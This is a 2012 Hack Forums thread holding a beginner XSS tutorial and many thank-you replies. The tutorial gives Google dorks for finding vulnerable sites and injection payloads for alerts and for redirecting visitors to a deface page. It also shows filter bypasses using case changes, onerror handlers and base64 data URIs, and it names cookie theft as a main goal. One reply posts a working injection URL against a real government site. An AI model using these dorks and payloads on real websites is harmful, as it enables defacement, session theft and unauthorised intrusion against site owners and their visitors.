

Forum:[Hack Forums](#)

Thread: [\[TUT\] XSS Master Guide \[/TUT\] \[DETAILED\]](#)

Kainaan - September 20, 2012, 7:14 am

Hey Hackforums!

I just wanted to say thanks to everyone who contributes to HF and has allowed me to learn what I have. As a thank you I thought I would contribute back.

This is a detailed guide to everything XSS.

What is XSS?

XSS stands for Cross Site Scripting. Sometimes it is called CSS however that is often confused with Cascading Style Sheets so XSS is the preferred term.

Cross Site Scripting is a means to take advantage of web applications that take user input but aren't filtered properly. This allows an attacker to inject HTML or other codes such as Javascript into the server to manipulate it in some way.

Different kinds of XSS

There are 3 traditional types of XSS attacks, however if you are inventive and understand all the workings behind XSS and the server then their are nearly limitless potentials.

1. DOM-Based Attack

A DOM-Based attack is a more advanced attack where the attackers payload (malicious script) is executed as a result of modifying the DOM Environment in the slave's browser by the original client side script, this causes the client side code to run in an unexpected manner.

2. Persistent XSS Attack

A persistent XSS attack is a method in which the attackers payload is permanent to the servers code and will remain there for every user to see until a server admin removes it.

3. Non-Persistent XSS Attack

A non-persistent XSS attack is a method in which the attackers payload is not permanent, meaning it doesn't effect the servers internal code. An example of this would be a link that has a Non-Persistent attack embedded into it.

How do we find a vulnerable server?

To find a server in which to do an XSS attack there are two main methods. You can use a Google search dork in which we google for common exploitations in servers. The other method is to read the actual .php code of the website (I will get into this later).

Here are some good examples of google dorks for an XSS attack.

```
Code inurl:com_feedpostold/feedpost.php?url=
inurl:/products/orkutclone/scrapbook.php?id=
inurl:/products/classified/headersearch.php?sid=
inurl:/poll/default.asp?catid=
inurl:/search_results.php?search=Search&k=
inurl:/preaspjobboard//Employee/emp_login.asp?msg1=
inurl:/pages/match_report.php?mid= pages/match_report.php?mid=
inurl:/notice.php?msg= /notice.php?msg=
```

inurl:/gen_confirm.php?errmsg= /gen_confirm.php?errmsg=
inurl:/index.php?option=com_easygb&Itemid=
inurl:/2wayvideochat/index.php?r=
inurl:/view.php?PID= /view.php?PID=
inurl:/Property-Cpanel.html?pid= /Property-Cpanel.html?pid=
inurl:/showproperty.php?id= /showproperty.php?id=
inurl:/vehicle/buy_do_search/?order_direction=
inurl:/elms/subscribe.php?course_id= /elms/subscribe.php?course_id=
inurl:/winners.php?year=2008&type= /winners.php?
inurl:/schoolmv2/html/studentmain.php?session=
inurl:/site_search.php?sfunction= /site_search.php?sfunction=
inurl:/search.php?search_keywords= /search.php?search_keywords=
inurl:/hexjector.php?site= /hexjector.php?site=
inurl:/news.php?id= /news.php?id=
inurl:/index.php?view=help&faq=1&ref=
inurl:"contentPage.php?id="
inurl:"displayResource.php?id="
inurl:/index.php?
inurl:/info.asp?

To do this simply google one of these things and it will spit out a list of results that will be XSS vulnerable if proper filtration wasn't taken place.

Testing XSS vulnerable

To test whether or not the site you have found is vulnerable we need to attempt to inject some code into its server.

You can inject code in multiple ways. If there is a search bar you may inject the code right into there. You can inject the code into the url, for example, "http://www.victim.net/newthread.php?fid=CODE GOES HERE". Or if you are attacking a forum you can try to inject the code into the body of a thread, this will execute the script when someone opens the thread.

Here is the base test that I use to test for vulnerabilities. Insert it into the website you are attacking.

Code `<script>alert("test")</script>`

If the webpage is vulnerable you should get a sort of "Pop-up" that says "Test". If you didn't get anything do not worry, that just means the server admin has placed filters to counter XSS attacks. I will get into bypassing these filters near the end.

Assuming you have found a XSS vulnerable site you can now attack it.

If you input the following string, everyone will get an alert when they view the page saying "Hi! I'm the best!"

Code `<script>alert("Hi! I'm the best!")</script>`

You can also use a redirect script to redirect the viewer to your deface page, making the page appear defaced.

Code `<script>>window.location = "http://users11.jabry.com/"</script>`

One of the main reasons to XSS attack is to steal cookies. However I will not get into that in this tutorial because it involves setting up your own server in which to host your cookie stealer php script so you can inject it into the victims server. If you would like me to do a tutorial on that feel free to leave a comment and I may get around to it.

Vulnerabilities by examining php code

Because I have never seen a tutorial on this kind of XSS attacking I figured I would share it as well. We can read the php code to find other unfiltered variables to exploit or to diagnose what kind of

filtration is being used on a specific variable so we may bypass it.

If we look at the Hackforums newthread.php url for example it shows "newthread.php?fid=" the world that comes after the "?" and before the "=" is the variable that is being modified. And just because that is the only variable it shows doesn't mean its the only variable that we can alter.

I will be talking about diagnosing and bypassing 3 main types of filtration, after that you will have to take what you have learned and apply it to other filter systems.

- str_replace() filter

- htmlentities()

- Bypassing filters using data URIs

Lets imagine we have an imaginary page <http://localhost/page.php?name=John> . The php code for this page looks like this.

PHP Code

```
<?php
echo 'Your name is ' . $_GET['name'];
?>
```

In this page there is no filtration system present and we can easily attack the "name" variable.

This would be our result attack:

[http://localhost/page.php?name=<script>alert\('XSS'\)</script>](http://localhost/page.php?name=<script>alert('XSS')</script>)

Bypass a basic str_replace() filter

Now imagine we are at the same page but the code has changed and now has a basic str_replace() filter in place on the variable of name. The php code fir this page is as follows.

PHP Code

```
<?php
echo 'Your name is ' . str_replace('script', null, $_GET['name']);
?>
```

What this filter does is replace ever instance of "script" with null in "name". To bypass this we can simply add some capital letters to the word script in our attack.

Result attack:

[http://localhost/page.php?name=<ScRipt>alert\('XSS'\)</ScriPt>](http://localhost/page.php?name=<ScRipt>alert('XSS')</ScriPt>)

and voila we have successively bypassed the filter and injected our code.

Bypassing a htmlentities() filter

A lot of websites are using htmlentities() function against XSS but it's only efficient against double quotes.

What html entities does is it converts the HTML string into HTML entities. This converts all "<" to "<" and ">" to ">" meaning the resulted text wont be handled as a script. However we can easily bypass by writing our script without the use of < > or " .

The php code for this is.

PHP Code

```
<?php
echo "<img alt=" src="".htmlentities($_GET['img'])." />";
?>
```

To inject our code and bypass this filter we need to simply avoid the use of '<' and '>' or '"' and make use of HTML events.

The resulted attack is:

[http://localhost/page.php?img=.' onerror='alert\("XSS"\)](http://localhost/page.php?img=.' onerror='alert()

Bypass XSS filters using data URIs

This is not a very well known vulnerability however you can bypass almost any filter with it. data URI's are generally used for images to keep them as text in a HTML document. I noticed that

sometimes you can use it to bypass XSS filter htmlspecialchars(). The vulnerable page is designed to show a URI image from the following URL.

`http://localhost/page.php?img=`

The php code is.

PHP Code

```
<?php
```

```
echo '<object data="'.htmlspecialchars($_get['img']).'" />';
```

?>By modifying the data type from an image/gif to a text/html and the data content it's possible to exploit XSS.

Result attack:

`http://localhost/page.php?img=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=`

I hope you enjoyed the tutorial, if anyone has any questions feel free to ask. I apologize if i got any information incorrect i'm still new at this.

Please comment and keep alive :)

karimnobra - September 20, 2012, 8:12 am

Thank you so much for this detailed TUT. Its helping me actually :)

Kainaan - September 20, 2012, 8:16 am

I'm glad I could help out. Let me know if you have any questions.

Controlled - September 20, 2012, 10:37 am

Nice tut, very helpful and informational :) great share!

Desiderius - September 20, 2012, 10:41 am

Professional and informational guide.

Keep working hard.

Kainaan - September 20, 2012, 10:55 am

I'm really glad you guys are finding it helpful, I put a lot of effort into throwing it together.

Vlad1k - September 20, 2012, 11:00 am

Really explained tutorial.

This is very nice, but add some style/design.

Thanks!

Kainaan - September 20, 2012, 6:46 pm

I'm sorry for not making it look more appealing, as I have not really done a tutorial. I tried to add some titles and sub titles but any help or suggestions would be great :) thanks.

BlueRey - September 20, 2012, 11:13 pm

thanks you man! i learned all that now.. thanks again..

Mr.Phoenix - September 21, 2012, 12:13 am

Thanks for your Good tutorial man :)
keep it up by posting like these useful threads in HF :) :)
i have one doubt??
check your pm !!

shashankcb - September 21, 2012, 2:19 am

awsome tute brother loved it :).. please do post more if u have

samrokzz - September 21, 2012, 5:22 am

Very nice and detailed tutorial .
Thanks for the share .

Kainaan - September 21, 2012, 5:54 am

I'm glad everyone is enjoying the tutorial. Remember if you have any questions feel free to send me a PM or ask me on this thread :) Thanks always help as well :P

PAKbugs™ - September 21, 2012, 7:02 am

Your tut was HQ but you should have explained the bypassing of htmlentities more...

Kainaan - September 21, 2012, 7:13 am

(Sep 21, 2012 07:02 AM)PAKbugs™ Wrote: [\[CITE\]](#) Your tut was HQ but you should have explained the bypassing of htmlentities more...I apologize I thought I was pretty thorough with HTML entities. Essentially the filter finds characters that can be represented in a form called an HTML Entity. For example it converts all "<" in your input to "<," this would in turn break your malicious code because it would not be read in the way you want it to. To bypass this we need to write our script without using characters that are converted into HTML Entities. The easiest way to do this is write the script using HTML Events instead of javascript. I figured I would leave it up to the user to research writing scripts using HTML Events, but i suppose I can expand upon that in another tutorial.

PAKbugs™ - September 21, 2012, 7:19 am

Yes...thanks for your reply...btw you are good in XSS? :P

Kainaan - September 21, 2012, 7:22 am

(Sep 21, 2012 07:19 AM)PAKbugs™ Wrote: [\[CITE\]](#) Yes...thanks for your reply...btw you are good in XSS? :P I'm not super great at XSS i just have the overwhelming need to understand how everything works and functions. So I pick one thing, in this case XSS, and I learn everything about it and then I share what I have learned in a hopefully easy way to understand. I'm sure there are people who are FAR better than I.

Jae? - September 21, 2012, 11:50 am

Finally, a tutorial that shows you how the PHP code looks. A lot of the tutorials on here don't do that and it's always nice to see for those just learning. Great job on this man, you really put a lot of effort into it.

k0k4 - September 21, 2012, 12:35 pm

Nice tut, very helpful, i will try to learn it :)

Sir Asylum - September 21, 2012, 1:32 pm

Very HQ tutorial vouch for this OP. you really know your shit Spoiler [\(Click to View\)](#) or you just googled idk tho xd. keep up the good work.

FaggotFlounder - September 21, 2012, 1:37 pm

Great tutorial man. A lot of information.

Thanks for sharing!

Kainaan - September 22, 2012, 12:50 pm

Noo problem, I'm glad you enjoyed it. Make sure you check out my other tutorials as well :)

GoOnRisky - September 22, 2012, 12:59 pm

super sick, and very high detailed.

Kainaan - September 26, 2012, 11:24 pm

(Sep 22, 2012 12:59 PM)GoOnRisky Wrote: [\[CITE\]](#) super sick, and very high detailed.

Wish more people read it. Detailed for a reason :P

Dankrupt - November 22, 2012, 7:20 pm

Really nice tutorial, very easy to read and understand :) I just have one question, I found a site that's vulnerable and when I put in the test script it pops up with a box that I have to hit ok on. My question is how is this making other people see that? If I put in the script that you mentioned saying Hi! I'm the best, it just shows that in another box and it will only show for me. How does that make the page show that to everyone?

Alpha00 - November 10, 2013, 6:58 am

Works!

<http://www.railway.gov.bd/admin.asp?msg=%3Cfont%20color=blue%3EXSS%20FOUND%20BY%20Alpha%3C/>

101% - September 20, 2014, 1:49 am

Thank you for this amazing tutorial. It is definitely HQ!

Aakash Choudhary - March 19, 2015, 2:01 am

Its a very nice tutorial. Really good work by OP . ?

Ethanyo - March 19, 2015, 6:40 am

Tthank you for your tutorial, deteailed in a very good way thanks